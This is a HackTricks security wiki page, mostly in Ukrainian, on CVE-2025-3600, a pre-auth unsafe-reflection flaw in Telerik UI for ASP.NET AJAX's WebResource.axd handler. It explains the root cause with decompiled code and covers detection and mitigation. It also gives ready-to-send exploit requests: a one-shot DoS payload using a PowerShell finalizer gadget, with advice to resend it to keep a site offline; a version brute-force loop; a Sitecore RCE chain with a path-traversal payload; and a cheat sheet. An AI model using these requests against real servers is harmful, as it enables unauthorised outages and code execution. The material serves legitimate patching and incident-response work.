Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Виконання конструктора до автентифікації в Image Editor cache handler Telerik UI for ASP.NET AJAX дозволяє універсальний DoS та, у багатьох додатках, pre‑auth RCE через цільово‑специфічні гаджети (CVE-2025-3600).

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products.
  • Primitive: Зловмисник контролює ім’я типу (prtype). Хендлер резолвить його через Type.GetType() і викликає Activator.CreateInstance() до перевірки типобезпечності інтерфейсу. Будь‑який публічний конструктор .NET типу без параметрів буде виконаний.
  • Impact:
  • Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
  • Often elevates to pre‑auth RCE in real deployments by abusing app‑specific gadgets, especially insecure AppDomain.AssemblyResolve handlers.
  • Fix: Оновіть до Telerik UI for ASP.NET AJAX 2025.1.416+ або видаліть/заблокуйте хендлер.

Вразливі версії

  • Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
  • Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.

Вразлива поверхня і швидке виявлення

  • Check exposure:
  • GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
  • Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
  • Do not rely on finding Telerik strings on / or login pages. Real products such as Sitecore often expose the handler without referencing it in the default HTML.
  • Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=.

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Примітки

  • Деякі PoCs використовують dtype; реалізація перевіряє dkey==“1” для потоку завантаження.
  • prtype повинен бути assembly-qualified або доступним у поточному AppDomain.

Корисні перевірки code/ops

<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />

<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'

Швидка перевірка версії на застарілих інсталяціях

Якщо та сама програма також експонує застарілий обробник type=rau, старі інструменти Telerik все ще можуть допомогти вам ідентифікувати версію спільної збірки Telerik.Web.UI.dll перед початком досліджень type=iec. Це не експлуатує CVE-2025-3600 безпосередньо; лише повторно використовує факт, що rau і iec знаходяться в одній збірці.

Практичне застосування:

  • Якщо type=rau доступний, використайте класичний major-version brute force зі старих RAU-інструментів, щоб відновити точну версію збірки Telerik.Web.UI.
  • Порівняйте виявлену версію з діапазоном вразливих версій (2011.2.7122025.1.218) та виправленою збіркою (2025.1.416+).
  • Відсутність type=rau вважайте невизначеною. iec може залишатися доступним навіть якщо rau відключено або відфільтровано.

Приклад зі старим помічником CVE-2019-18935.py:

for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done

Чому це допомагає:

  • Enterprise apps часто включають застарілі збірки Telerik роками.
  • Red teams можуть швидко відрізнити “handler exposed” від “likely still on a vulnerable DLL”.
  • Під час incident response той же трюк допомагає обмежити область для великих IIS-флотів, коли доступ до filesystem не доступний негайно.

Коренева причина – небезпечна рефлексія в ImageEditorCacheHandler

Потік завантаження кешу Image Editor створює екземпляр типу, переданого в prtype, і лише пізніше приводить його до ICacheImageProvider та перевіряє ключ завантаження. Конструктор уже виконався, коли валідація не проходить.

Відповідний декомпільований потік ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Exploit primitive: Керований рядок типу → Type.GetType його розпізнає → Activator.CreateInstance виконує його публічний безпараметричний конструктор. Навіть якщо запит пізніше відхилено, побічні ефекти gadget вже відбулися.

## Універсальний DoS gadget (no app-specific gadgets required)

Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper у System.Management.Automation (PowerShell) має фіналізатор, який звільняє неініціалізований дескриптор, що спричиняє необроблене виключення під час фіналізації GC. Це надійно призводить до аварійного завершення IIS worker process незабаром після інстанціювання.

One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • Надсилайте періодично, щоб утримувати сайт offline. Ви можете спостерігати constructor у debugger; crash відбувається під час finalization.

From DoS to RCE – escalation patterns

Unsafe constructor execution unlocks many target‑specific gadgets and chains. Шукайте:

  1. Parameterless constructors that process attacker input
  • Деякі ctors (або static initializers) одразу читають Request query/body/cookies/headers та (de)serialize їх.
  • Приклад (Sitecore): a ctor chain reaches GetLayoutDefinition() яка читає HTTP body “layout” і десеріалізує JSON via JSON.NET.
  1. Constructors that touch files
  • Ctros, що load або deserialize config/blobs з диска, можуть бути coerced, якщо ви можете записувати у ці шляхи (папки uploads/temp/data).
  1. Constructors performing app-specific ops
  • Скидання стану, перемикання модулів або завершення процесів.
  1. Constructors/static ctors that register AppDomain event handlers
  • Багато додатків додають AppDomain.CurrentDomain.AssemblyResolve handlers, які будують шляхи до DLL з args.Name без санітизації. Якщо ви можете вплинути на type resolution, ви можете coerce довільні DLL loads з attacker‑controlled шляхів.
  1. Forcing AssemblyResolve via Type.GetType
  • Запросіть неіснуючий тип, щоб примусити CLR resolution і викликати зареєстровані (можливо insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Фіналізатори з руйнівними побічними ефектами
  • Деякі типи видаляють файли за фіксованим шляхом у фіналізаторах. У поєднанні з link-following або передбачуваними шляхами це може дозволити локальне підвищення привілеїв у певних середовищах.

Example pre‑auth RCE chain (Sitecore XP)

  • Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).
  • Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL.
  • Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.

Trigger examples

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Валідація, пошук і DFIR-примітки

  • Безпечна валідація в лабораторії: запустіть DoS payload і слідкуйте за перезапуском пулу додатків/необробленими винятками, пов’язаними з WSMan finalizer.
  • Пошук у телеметрії:
  • Запити до /Telerik.Web.UI.WebResource.axd з type=iec та дивними значеннями prtype.
  • Невдалі завантаження типів та події AppDomain.AssemblyResolve.
  • Раптові збої/перезапуски w3wp.exe після таких запитів.

Mitigation

  • Оновіть до Telerik UI for ASP.NET AJAX 2025.1.416 або новішої версії.
  • Приберіть або обмежте експозицію Telerik.Web.UI.WebResource.axd там, де це можливо (WAF/rewrites).
  • Ігноруйте або посильте обробку prtype на стороні сервера (оновлення застосовує належні перевірки перед створенням екземпляру).
  • Перевірте й посильте користувацькі обробники AppDomain.AssemblyResolve. Уникайте формування шляхів з args.Name без санітизації; віддавайте перевагу strong-named завантаженням або білому списку.
  • Обмежте місця завантаження/запису та запобігайте потраплянню DLL у пророблювані директорії.
  • Моніторте спроби завантаження неіснуючих типів, щоб виявляти зловживання резолвером.

Шпаргалка

  • Перевірка наявності:
  • GET /Telerik.Web.UI.WebResource.axd
  • Шукайте відображення обробника в web.config
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Тригер резолвера:
This.Class.Does.Not.Exist, watchTowr

Пов’язані техніки

  • IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Джерела

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks